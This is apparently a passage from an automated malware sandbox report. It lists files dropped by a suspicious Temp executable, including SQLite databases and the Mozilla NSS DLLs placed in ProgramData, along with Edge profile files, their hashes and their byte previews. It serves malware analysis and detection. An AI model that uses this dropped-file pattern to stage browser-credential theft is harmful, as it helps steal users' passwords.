SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEBGHIE

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJEBAAECBGDHIECAKJKKECFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FnTSHWLNWB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2BI8rJKpBa.exe, Detection: malicious, Browse Filename: 2AIgdyA1Cl.exe, Detection: malicious, Browse Filename: 1QNOKwVoOT.exe, Detection: malicious, Browse Filename: R2CgZG545D.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DZKPIL2C5DR0YB6M.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\28986afe-de3d-4850-9542-f2e0fa8260ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089807974820701
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWRdi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXDkzItSmd6qE7lFoC
MD5:	F8FA3C4E8F3B962BB2ED525A0E60439C
SHA1:	305864E276628A944BB38332862FD370177E8023
SHA-256:	CA61688CCCE2FC347DA43B244E45FE1EE1387F8F9AFFF1BE09C8E05DA5193169
SHA-512:	358B67EA16BE65B05F3D404BE183717ABF2D632F71AA739867FECA71DD9533C2499454F2A53A6E9718EF3AD4699302B8E1A85AD2F2569D29F8A448B06F9E782A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6768FAFF-1674.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046989612891501276
Encrypted:	false
SSDEEP:	192:OMh80m5tmsnOAtqYSJqpjrZXpAgiTwhrdNEJuIWdGRQ8RQXB0Ehwtn8y08Tcm2Rl:pi0UtHweNHhZZueXCEo08T2RGOD
MD5:	8F8A461D5AEDE8461B02B147DFBBDFE3
SHA1:	23721788403EFFBB117F8518015FB2E586B38253
SHA-256:	CA2723614DEFFB895CF70D8DBEA46E4912BE77E35DB2ECDEA3F00CEC292C6E42
SHA-512:	8A5F26744C9FED86F00188C88364A4B55085E680E305F44AE9EA26202570FF6DC018D46A30DBC9226D015705E9EB487F7EC3EF15E636254D30415832E1C0C6BC
Malicious:	false
Preview:	...@..@...@.....C.].....@...............pf..(V..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".xgflsn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089807974820701
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWRdi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXDkzItSmd6qE7lFoC
MD5:	F8FA3C4E8F3B962BB2ED525A0E60439C
SHA1:	305864E276628A944BB38332862FD370177E8023
SHA-256:	CA61688CCCE2FC347DA43B244E45FE1EE1387F8F9AFFF1BE09C8E05DA5193169
SHA-512:	358B67EA16BE65B05F3D404BE183717ABF2D632F71AA739867FECA71DD9533C2499454F2A53A6E9718EF3AD4699302B8E1A85AD2F2569D29F8A448B06F9E782A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF422e6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089807974820701
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWRdi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXDkzItSmd6qE7lFoC
MD5:	F8FA3C4E8F3B962BB2ED525A0E60439C
SHA1:	305864E276628A944BB38332862FD370177E8023
SHA-256:	CA61688CCCE2FC347DA43B244E45FE1EE1387F8F9AFFF1BE09C8E05DA5193169
SHA-512:	358B67EA16BE65B05F3D404BE183717ABF2D632F71AA739867FECA71DD9533C2499454F2A53A6E9718EF3AD4699302B8E1A85AD2F2569D29F8A448B06F9E782A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF422f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089807974820701
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWRdi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXDkzItSmd6qE7lFoC
MD5:	F8FA3C4E8F3B962BB2ED525A0E60439C
SHA1:	305864E276628A944BB38332862FD370177E8023
SHA-256:	CA61688CCCE2FC347DA43B244E45FE1EE1387F8F9AFFF1BE09C8E05DA5193169
SHA-512:	358B67EA16BE65B05F3D404BE183717ABF2D632F71AA739867FECA71DD9533C2499454F2A53A6E9718EF3AD4699302B8E1A85AD2F2569D29F8A448B06F9E782A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42de2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089807974820701
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWRdi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXDkzItSmd6qE7lFoC
MD5:	F8FA3C4E8F3B962BB2ED525A0E60439C
SHA1:	305864E276628A944BB38332862FD370177E8023
SHA-256:	CA61688CCCE2FC347DA43B244E45FE1EE1387F8F9AFFF1BE09C8E05DA5193169
SHA-512:	358B67EA16BE65B05F3D404BE183717ABF2D632F71AA739867FECA71DD9533C2499454F2A53A6E9718EF3AD4699302B8E1A85AD2F2569D29F8A448B06F9E782A
Malicious:	false
